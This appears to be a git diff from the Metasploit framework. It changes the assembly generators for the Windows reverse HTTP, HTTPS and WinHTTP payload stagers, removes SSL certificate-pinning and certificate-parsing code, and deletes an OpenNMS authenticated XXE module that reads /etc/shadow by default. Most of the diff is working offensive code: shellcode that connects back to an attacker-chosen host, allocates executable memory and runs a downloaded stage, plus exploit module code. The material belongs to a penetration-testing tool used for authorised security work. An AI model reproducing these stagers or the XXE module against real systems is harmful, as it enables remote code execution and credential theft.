|
||||||
end
|
|
||||||
|
|
||||||
asm << %Q^
|
|
||||||
httpopenrequest:
|
httpopenrequest:
|
||||||
push ebx ; dwContext (NULL)
|
; dwContext (NULL) [8]
|
||||||
push #{"0x%.8x" % http_open_flags} ; dwFlags
|
push #{"0x%.8x" % http_open_flags} ; dwFlags
|
||||||
push ebx ; accept types
|
push ebx ; accept types
|
||||||
push ebx ; referrer
|
push ebx ; referrer
|
||||||
push ebx ; version
|
push ebx ; version
|
||||||
push edi ; server URI
|
push edi ; server URI
|
||||||
push ebx ; method
|
push ebx ; method
|
||||||
push esi ; hConnection
|
push eax ; hConnection
|
||||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||||
call ebp
|
call ebp
|
||||||
xchg esi, eax ; save hHttpRequest in esi
|
xchg esi, eax ; save hHttpRequest in esi
|
||||||
|
|
||||||
; Store our retry counter in the edi register
|
|
||||||
set_retry:
|
|
||||||
push #{retry_count}
|
|
||||||
pop edi
|
|
||||||
|
|
||||||
send_request:
|
send_request:
|
||||||
^
|
^
|
||||||
|
|
||||||
|
@ -320,9 +229,9 @@ module Payload::Windows::ReverseHttp
|
||||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||||
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
|
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
|
||||||
mov eax, esp
|
mov eax, esp
|
||||||
push 4 ; sizeof(dwFlags)
|
push.i8 4 ; sizeof(dwFlags)
|
||||||
push eax ; &dwFlags
|
push eax ; &dwFlags
|
||||||
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||||
push esi ; hHttpRequest
|
push esi ; hHttpRequest
|
||||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||||
call ebp
|
call ebp
|
||||||
|
@ -363,7 +272,7 @@ module Payload::Windows::ReverseHttp
|
||||||
|
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
allocate_memory:
|
allocate_memory:
|
||||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
|
||||||
push 0x1000 ; MEM_COMMIT
|
push 0x1000 ; MEM_COMMIT
|
||||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||||
push ebx ; NULL as we dont care where the allocation is
|
push ebx ; NULL as we dont care where the allocation is
|
||||||
|
|
|
@ -40,11 +40,10 @@ module Payload::Windows::ReverseHttps
|
||||||
# Generate the simple version of this stager if we don't have enough space
|
# Generate the simple version of this stager if we don't have enough space
|
||||||
if self.available_space.nil? || required_space > self.available_space
|
if self.available_space.nil? || required_space > self.available_space
|
||||||
return generate_reverse_https(
|
return generate_reverse_https(
|
||||||
ssl: true,
|
|
||||||
host: datastore['LHOST'],
|
host: datastore['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
url: generate_small_uri,
|
url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW),
|
||||||
retry_count: datastore['StagerRetryCount'])
|
ssl: true)
|
||||||
end
|
end
|
||||||
|
|
||||||
conf = {
|
conf = {
|
||||||
|
@ -52,13 +51,7 @@ module Payload::Windows::ReverseHttps
|
||||||
host: datastore['LHOST'],
|
host: datastore['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
url: generate_uri,
|
url: generate_uri,
|
||||||
exitfunk: datastore['EXITFUNC'],
|
exitfunk: datastore['EXITFUNC']
|
||||||
proxy_host: datastore['PayloadProxyHost'],
|
|
||||||
proxy_port: datastore['PayloadProxyPort'],
|
|
||||||
proxy_user: datastore['PayloadProxyUser'],
|
|
||||||
proxy_pass: datastore['PayloadProxyPass'],
|
|
||||||
proxy_type: datastore['PayloadProxyType'],
|
|
||||||
retry_count: datastore['StagerRetryCount']
|
|
||||||
}
|
}
|
||||||
|
|
||||||
generate_reverse_https(conf)
|
generate_reverse_https(conf)
|
||||||
|
|
|
@ -36,8 +36,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
ssl: false,
|
ssl: false,
|
||||||
host: datastore['LHOST'],
|
host: datastore['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
url: generate_small_uri,
|
url: generate_small_uri)
|
||||||
retry_count: datastore['StagerRetryCount'])
|
|
||||||
end
|
end
|
||||||
|
|
||||||
conf = {
|
conf = {
|
||||||
|
@ -45,8 +44,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
host: datastore['LHOST'],
|
host: datastore['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
url: generate_uri,
|
url: generate_uri,
|
||||||
exitfunk: datastore['EXITFUNC'],
|
exitfunk: datastore['EXITFUNC']
|
||||||
retry_count: datastore['StagerRetryCount']
|
|
||||||
}
|
}
|
||||||
|
|
||||||
generate_reverse_winhttp(conf)
|
generate_reverse_winhttp(conf)
|
||||||
|
@ -100,32 +98,23 @@ module Payload::Windows::ReverseWinHttp
|
||||||
join(",")
|
join(",")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate an assembly stub with the configured feature set and options.
|
# Dynamic payload generation
|
||||||
#
|
|
||||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
|
||||||
# @option opts [String] :url The URI to request during staging
|
|
||||||
# @option opts [String] :host The host to connect to
|
|
||||||
# @option opts [Fixnum] :port The port to connect to
|
|
||||||
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
|
|
||||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
|
|
||||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
|
||||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
|
||||||
#
|
#
|
||||||
def asm_reverse_winhttp(opts={})
|
def asm_reverse_winhttp(opts={})
|
||||||
|
|
||||||
retry_count = [opts[:retry_count].to_i, 1].max
|
|
||||||
verify_ssl = nil
|
|
||||||
encoded_cert_hash = nil
|
|
||||||
encoded_url = asm_generate_wchar_array(opts[:url])
|
|
||||||
encoded_host = asm_generate_wchar_array(opts[:host])
|
|
||||||
|
|
||||||
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
|
#
|
||||||
verify_ssl = true
|
# options should contain:
|
||||||
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
# ssl: (true|false)
|
||||||
end
|
# url: "/url_to_request"
|
||||||
|
# host: [hostname]
|
||||||
|
# port: [port]
|
||||||
|
# exitfunk: [process|thread|seh|sleep]
|
||||||
|
#
|
||||||
|
|
||||||
|
encoded_url = asm_generate_wchar_array(opts[:url])
|
||||||
|
encoded_host = asm_generate_wchar_array(opts[:host])
|
||||||
|
|
||||||
http_open_flags = 0
|
http_open_flags = 0
|
||||||
|
|
||||||
|
@ -148,52 +137,46 @@ module Payload::Windows::ReverseWinHttp
|
||||||
push esp ; Push a pointer to the "winhttp" string
|
push esp ; Push a pointer to the "winhttp" string
|
||||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||||
call ebp ; LoadLibraryA( "winhttp" )
|
call ebp ; LoadLibraryA( "winhttp" )
|
||||||
^
|
|
||||||
|
|
||||||
if verify_ssl
|
set_retry:
|
||||||
asm << %Q^
|
push.i8 6 ; retry 6 times
|
||||||
load_crypt32:
|
pop edi
|
||||||
push 0x00323374 ; Push the string 'crypt32',0
|
xor ebx, ebx
|
||||||
push 0x70797263 ; ...
|
mov ecx, edi
|
||||||
push esp ; Push a pointer to the "crypt32" string
|
|
||||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
|
||||||
call ebp ; LoadLibraryA( "wincrypt" )
|
|
||||||
^
|
|
||||||
end
|
|
||||||
|
|
||||||
asm << %Q^
|
push_zeros:
|
||||||
|
push ebx ; NULL values for the WinHttpOpen API parameters
|
||||||
xor ebx, ebx
|
loop push_zeros
|
||||||
|
|
||||||
WinHttpOpen:
|
WinHttpOpen:
|
||||||
push ebx ; Flags
|
; Flags [5]
|
||||||
push ebx ; ProxyBypass (NULL)
|
; ProxyBypass (NULL) [4]
|
||||||
push ebx ; ProxyName (NULL)
|
; ProxyName (NULL) [3]
|
||||||
push ebx ; AccessType (DEFAULT_PROXY= 0)
|
; AccessType (DEFAULT_PROXY= 0) [2]
|
||||||
push ebx ; UserAgent (NULL) [1]
|
; UserAgent (NULL) [1]
|
||||||
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
||||||
call ebp
|
call ebp
|
||||||
|
|
||||||
WinHttpConnect:
|
WinHttpConnect:
|
||||||
push ebx ; Reserved (NULL)
|
push ebx ; Reserved (NULL) [4]
|
||||||
push #{opts[:port]} ; Port [3]
|
push #{opts[:port]} ; Port [3]
|
||||||
call got_server_uri ; Double call to get pointer for both server_uri and
|
call got_server_uri ; Double call to get pointer for both server_uri and
|
||||||
server_uri: ; server_host; server_uri is saved in edi for later
|
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||||
db #{encoded_url}
|
db #{encoded_url}
|
||||||
got_server_host:
|
got_server_host:
|
||||||
push eax ; Session handle returned by WinHttpOpen
|
push eax ; Session handle returned by WinHttpOpen [1]
|
||||||
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
||||||
call ebp
|
call ebp
|
||||||
|
|
||||||
WinHttpOpenRequest:
|
WinHttpOpenRequest:
|
||||||
|
|
||||||
push #{"0x%.8x" % http_open_flags}
|
push.i32 #{"0x%.8x" % http_open_flags}
|
||||||
push ebx ; AcceptTypes (NULL)
|
push ebx ; AcceptTypes (NULL) [6]
|
||||||
push ebx ; Referrer (NULL)
|
push ebx ; Referrer (NULL) [5]
|
||||||
push ebx ; Version (NULL)
|
push ebx ; Version (NULL) [4]
|
||||||
push edi ; ObjectName (URI)
|
push edi ; ObjectName (URI) [3]
|
||||||
push ebx ; Verb (GET method) (NULL)
|
push ebx ; Verb (GET method) (NULL) [2]
|
||||||
push eax ; Connect handle returned by WinHttpConnect
|
push eax ; Connect handler returned by WinHttpConnect [1]
|
||||||
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
||||||
call ebp
|
call ebp
|
||||||
xchg esi, eax ; save HttpRequest handler in esi
|
xchg esi, eax ; save HttpRequest handler in esi
|
||||||
|
@ -209,9 +192,9 @@ module Payload::Windows::ReverseWinHttp
|
||||||
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||||
mov eax, esp
|
mov eax, esp
|
||||||
push 4 ; sizeof(buffer)
|
push.i8 4 ; sizeof(buffer)
|
||||||
push eax ; &buffer
|
push eax ; &buffer
|
||||||
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
|
push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
|
||||||
push esi ; hHttpRequest
|
push esi ; hHttpRequest
|
||||||
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
|
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
|
||||||
call ebp
|
call ebp
|
||||||
|
@ -219,11 +202,6 @@ module Payload::Windows::ReverseWinHttp
|
||||||
end
|
end
|
||||||
|
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
; Store our retry counter in the edi register
|
|
||||||
set_retry:
|
|
||||||
push #{retry_count}
|
|
||||||
pop edi
|
|
||||||
|
|
||||||
send_request:
|
send_request:
|
||||||
|
|
||||||
WinHttpSendRequest:
|
WinHttpSendRequest:
|
||||||
|
@ -237,7 +215,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
||||||
call ebp
|
call ebp
|
||||||
test eax,eax
|
test eax,eax
|
||||||
jnz check_response ; if TRUE call WinHttpReceiveResponse API
|
jnz receive_response ; if TRUE call WinHttpReceiveResponse API
|
||||||
|
|
||||||
try_it_again:
|
try_it_again:
|
||||||
dec edi
|
dec edi
|
||||||
|
@ -259,79 +237,12 @@ module Payload::Windows::ReverseWinHttp
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
# Jump target if the request was sent successfully
|
|
||||||
asm << %Q^
|
|
||||||
check_response:
|
|
||||||
^
|
|
||||||
|
|
||||||
# Verify the SSL certificate hash
|
|
||||||
if verify_ssl
|
|
||||||
|
|
||||||
asm << %Q^
|
|
||||||
ssl_cert_get_context:
|
|
||||||
push 4
|
|
||||||
mov ecx, esp ; Allocate &bufferLength
|
|
||||||
push 0
|
|
||||||
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
|
|
||||||
|
|
||||||
push ecx ; &bufferLength
|
|
||||||
push ebx ; &buffer
|
|
||||||
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
|
|
||||||
push esi ; hHttpRequest
|
|
||||||
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
|
|
||||||
call ebp
|
|
||||||
test eax, eax ;
|
|
||||||
jz failure ; Bail out if we couldn't get the certificate context
|
|
||||||
|
|
||||||
; ebx
|
|
||||||
ssl_cert_allocate_hash_space:
|
|
||||||
push 20 ;
|
|
||||||
mov ecx, esp ; Store a reference to the address of 20
|
|
||||||
sub esp,[ecx] ; Allocate 20 bytes for the hash output
|
|
||||||
mov edi, esp ; edi will point to our buffer
|
|
||||||
|
|
||||||
ssl_cert_get_server_hash:
|
|
||||||
push ecx ; &bufferLength
|
|
||||||
push edi ; &buffer (20-byte SHA1 hash)
|
|
||||||
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
|
|
||||||
push [ebx] ; *pCert
|
|
||||||
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
|
|
||||||
call ebp
|
|
||||||
test eax, eax ;
|
|
||||||
jz failure ; Bail out if we couldn't get the certificate context
|
|
||||||
|
|
||||||
ssl_cert_start_verify:
|
|
||||||
call ssl_cert_compare_hashes
|
|
||||||
db #{encoded_cert_hash}
|
|
||||||
|
|
||||||
ssl_cert_compare_hashes:
|
|
||||||
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
|
|
||||||
; edi points to the server-provided certificate hash
|
|
||||||
|
|
||||||
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
|
|
||||||
pop ecx ;
|
|
||||||
mov edx, ecx ; Keep a reference to 4 in edx
|
|
||||||
|
|
||||||
ssl_cert_verify_compare_loop:
|
|
||||||
mov eax, [ebx] ; Grab the next DWORD of the hash
|
|
||||||
cmp eax, [edi] ; Compare with the server hash
|
|
||||||
jnz failure ; Bail out if the DWORD doesn't match
|
|
||||||
add ebx, edx ; Increment internal hash pointer by 4
|
|
||||||
add edi, edx ; Increment server hash pointer by 4
|
|
||||||
loop ssl_cert_verify_compare_loop
|
|
||||||
|
|
||||||
; Our certificate hash was valid, hurray!
|
|
||||||
ssl_cert_verify_cleanup:
|
|
||||||
xor ebx, ebx ; Reset ebx back to zero
|
|
||||||
^
|
|
||||||
end
|
|
||||||
|
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
receive_response:
|
receive_response:
|
||||||
; The API WinHttpReceiveResponse needs to be called
|
; The API WinHttpReceiveResponse needs to be called
|
||||||
; first to get a valid handle for WinHttpReadData
|
; first to get a valid handler for WinHttpReadData
|
||||||
push ebx ; Reserved (NULL)
|
push ebx ; Reserved (NULL) [2]
|
||||||
push esi ; Request handler returned by WinHttpSendRequest
|
push esi ; Request handler returned by WinHttpSendRequest [1]
|
||||||
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
||||||
call ebp
|
call ebp
|
||||||
test eax,eax
|
test eax,eax
|
||||||
|
@ -340,7 +251,7 @@ module Payload::Windows::ReverseWinHttp
|
||||||
|
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
allocate_memory:
|
allocate_memory:
|
||||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
|
||||||
push 0x1000 ; MEM_COMMIT
|
push 0x1000 ; MEM_COMMIT
|
||||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||||
push ebx ; NULL as we dont care where the allocation is
|
push ebx ; NULL as we dont care where the allocation is
|
||||||
|
@ -388,8 +299,6 @@ module Payload::Windows::ReverseWinHttp
|
||||||
asm
|
asm
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -2,7 +2,6 @@
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/payload/windows/reverse_winhttp'
|
require 'msf/core/payload/windows/reverse_winhttp'
|
||||||
require 'rex/parser/x509_certificate'
|
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
|
@ -18,17 +17,6 @@ module Payload::Windows::ReverseWinHttps
|
||||||
|
|
||||||
include Msf::Payload::Windows::ReverseWinHttp
|
include Msf::Payload::Windows::ReverseWinHttp
|
||||||
|
|
||||||
#
|
|
||||||
# Register reverse_winhttps specific options
|
|
||||||
#
|
|
||||||
def initialize(*args)
|
|
||||||
super
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate and compile the stager
|
# Generate and compile the stager
|
||||||
#
|
#
|
||||||
|
@ -49,38 +37,13 @@ module Payload::Windows::ReverseWinHttps
|
||||||
#
|
#
|
||||||
def generate
|
def generate
|
||||||
|
|
||||||
verify_cert = false
|
|
||||||
verify_cert_hash = nil
|
|
||||||
|
|
||||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
|
||||||
unless datastore['HandlerSSLCert']
|
|
||||||
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
|
|
||||||
else
|
|
||||||
verify_cert = true
|
|
||||||
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
|
|
||||||
unless hcert and hcert[0] and hcert[1]
|
|
||||||
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
|
|
||||||
end
|
|
||||||
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
|
|
||||||
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Generate the simple version of this stager if we don't have enough space
|
# Generate the simple version of this stager if we don't have enough space
|
||||||
if self.available_space.nil? || required_space > self.available_space
|
if self.available_space.nil? || required_space > self.available_space
|
||||||
|
|
||||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
|
||||||
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
|
|
||||||
end
|
|
||||||
|
|
||||||
return generate_reverse_winhttps(
|
return generate_reverse_winhttps(
|
||||||
ssl: true,
|
ssl: true,
|
||||||
host: datastore['LHOST'],
|
host: datastore['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
url: generate_small_uri,
|
url: generate_small_uri)
|
||||||
verify_cert: verify_cert,
|
|
||||||
verify_cert_hash: verify_cert_hash,
|
|
||||||
retry_count: datastore['StagerRetryCount'])
|
|
||||||
end
|
end
|
||||||
|
|
||||||
conf = {
|
conf = {
|
||||||
|
@ -88,32 +51,12 @@ module Payload::Windows::ReverseWinHttps
|
||||||
host: datastore['LHOST'],
|
host: datastore['LHOST'],
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
url: generate_uri,
|
url: generate_uri,
|
||||||
exitfunk: datastore['EXITFUNC'],
|
exitfunk: datastore['EXITFUNC']
|
||||||
verify_cert: verify_cert,
|
|
||||||
verify_cert_hash: verify_cert_hash,
|
|
||||||
retry_count: datastore['StagerRetryCount']
|
|
||||||
}
|
}
|
||||||
|
|
||||||
generate_reverse_winhttps(conf)
|
generate_reverse_winhttps(conf)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Determine the maximum amount of space required for the features requested
|
|
||||||
#
|
|
||||||
def required_space
|
|
||||||
space = super
|
|
||||||
|
|
||||||
# SSL support adds 20 bytes
|
|
||||||
space += 20
|
|
||||||
|
|
||||||
# SSL verification adds 120 bytes
|
|
||||||
if datastore['StagerVerifySSLCert']
|
|
||||||
space += 120
|
|
||||||
end
|
|
||||||
|
|
||||||
space
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,62 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
require 'openssl'
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Parser
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This class parses the contents of a PEM-encoded X509 certificate file containing
|
|
||||||
# a private key, a public key, and any appended glue certificates.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
class X509Certificate
|
|
||||||
|
|
||||||
#
|
|
||||||
# Parse a certificate in unified PEM format that contains a private key and
|
|
||||||
# one or more certificates. The first certificate is the primary, while any
|
|
||||||
# additional certificates are treated as intermediary certificates. This emulates
|
|
||||||
# the behavior of web servers like nginx.
|
|
||||||
#
|
|
||||||
# @param [String] ssl_cert
|
|
||||||
# @return [String, String, Array]
|
|
||||||
def self.parse_pem(ssl_cert)
|
|
||||||
cert = nil
|
|
||||||
key = nil
|
|
||||||
chain = nil
|
|
||||||
|
|
||||||
certs = []
|
|
||||||
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
|
|
||||||
if pem =~ /PRIVATE KEY/
|
|
||||||
key = OpenSSL::PKey::RSA.new(pem)
|
|
||||||
elsif pem =~ /CERTIFICATE/
|
|
||||||
certs << OpenSSL::X509::Certificate.new(pem)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
cert = certs.shift
|
|
||||||
if certs.length > 0
|
|
||||||
chain = certs
|
|
||||||
end
|
|
||||||
|
|
||||||
[key, cert, chain]
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Parse a certificate in unified PEM format from a file
|
|
||||||
#
|
|
||||||
# @param [String] ssl_cert_file
|
|
||||||
# @return [String, String, Array]
|
|
||||||
def self.parse_pem_file(ssl_cert_file)
|
|
||||||
data = ''
|
|
||||||
::File.open(ssl_cert_file, 'rb') do |fd|
|
|
||||||
data << fd.read(fd.stat.size)
|
|
||||||
end
|
|
||||||
parse_pem(data)
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -118,13 +118,13 @@ module Rex
|
||||||
patch_comm_timeout! blob, options[:comm_timeout]
|
patch_comm_timeout! blob, options[:comm_timeout]
|
||||||
patch_ua! blob, options[:ua]
|
patch_ua! blob, options[:ua]
|
||||||
patch_proxy!(blob,
|
patch_proxy!(blob,
|
||||||
options[:proxy_host],
|
options[:proxyhost],
|
||||||
options[:proxy_port],
|
options[:proxyport],
|
||||||
options[:proxy_type]
|
options[:proxy_type]
|
||||||
)
|
)
|
||||||
patch_proxy_auth!(blob,
|
patch_proxy_auth!(blob,
|
||||||
options[:proxy_user],
|
options[:proxy_username],
|
||||||
options[:proxy_pass],
|
options[:proxy_password],
|
||||||
options[:proxy_type]
|
options[:proxy_type]
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
@ -411,11 +411,11 @@ class ClientCore < Extension
|
||||||
:expiration => self.client.expiration,
|
:expiration => self.client.expiration,
|
||||||
:comm_timeout => self.client.comm_timeout,
|
:comm_timeout => self.client.comm_timeout,
|
||||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||||
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
|
:proxyhost => client.exploit_datastore['PROXYHOST'],
|
||||||
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
|
:proxyport => client.exploit_datastore['PROXYPORT'],
|
||||||
:proxy_type => client.exploit_datastore['PayloadProxyType'],
|
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
|
||||||
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
|
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
|
||||||
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
|
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -2,7 +2,6 @@
|
||||||
require 'rex/socket'
|
require 'rex/socket'
|
||||||
require 'rex/socket/tcp_server'
|
require 'rex/socket/tcp_server'
|
||||||
require 'rex/io/stream_server'
|
require 'rex/io/stream_server'
|
||||||
require 'rex/parser/x509_certificate'
|
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
|
@ -109,7 +108,25 @@ module Rex::Socket::SslTcpServer
|
||||||
# @param [String] ssl_cert
|
# @param [String] ssl_cert
|
||||||
# @return [String, String, Array]
|
# @return [String, String, Array]
|
||||||
def self.ssl_parse_pem(ssl_cert)
|
def self.ssl_parse_pem(ssl_cert)
|
||||||
Rex::Parser::X509Certificate.parse_pem(ssl_cert)
|
cert = nil
|
||||||
|
key = nil
|
||||||
|
chain = nil
|
||||||
|
|
||||||
|
certs = []
|
||||||
|
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
|
||||||
|
if pem =~ /PRIVATE KEY/
|
||||||
|
key = OpenSSL::PKey::RSA.new(pem)
|
||||||
|
elsif pem =~ /CERTIFICATE/
|
||||||
|
certs << OpenSSL::X509::Certificate.new(pem)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
cert = certs.shift
|
||||||
|
if certs.length > 0
|
||||||
|
chain = certs
|
||||||
|
end
|
||||||
|
|
||||||
|
[key, cert, chain]
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -1,104 +0,0 @@
|
||||||
require 'msf/core'
|
|
||||||
require 'openssl'
|
|
||||||
|
|
||||||
class Metasploit4 < Msf::Auxiliary
|
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'OpenNMS Authenticated XXE',
|
|
||||||
'Description' => %q{
|
|
||||||
OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
|
|
||||||
Although this attack requires authentication, there are several factors that increase the
|
|
||||||
severity of this vulnerability.
|
|
||||||
|
|
||||||
1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
|
|
||||||
core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
|
|
||||||
ports or generate network traffic that requires root"
|
|
||||||
|
|
||||||
2. The user that you must authenticate as is the "rtc" user which has the default password of
|
|
||||||
"rtc". There is no mention of this user in the installation guides found here:
|
|
||||||
http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
|
|
||||||
admin password of "admin" for security purposes.
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' => [
|
|
||||||
'Stephen Breen <breenmachine[at]gmail.com>', # discovery
|
|
||||||
'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
|
|
||||||
],
|
|
||||||
'References' => [
|
|
||||||
['CVE', '2015-0975']
|
|
||||||
],
|
|
||||||
'DisclosureDate' => 'Jan 08 2015'
|
|
||||||
))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RPORT(8980),
|
|
||||||
OptBool.new('SSL', [false, 'Use SSL', false]),
|
|
||||||
OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
|
|
||||||
OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
|
|
||||||
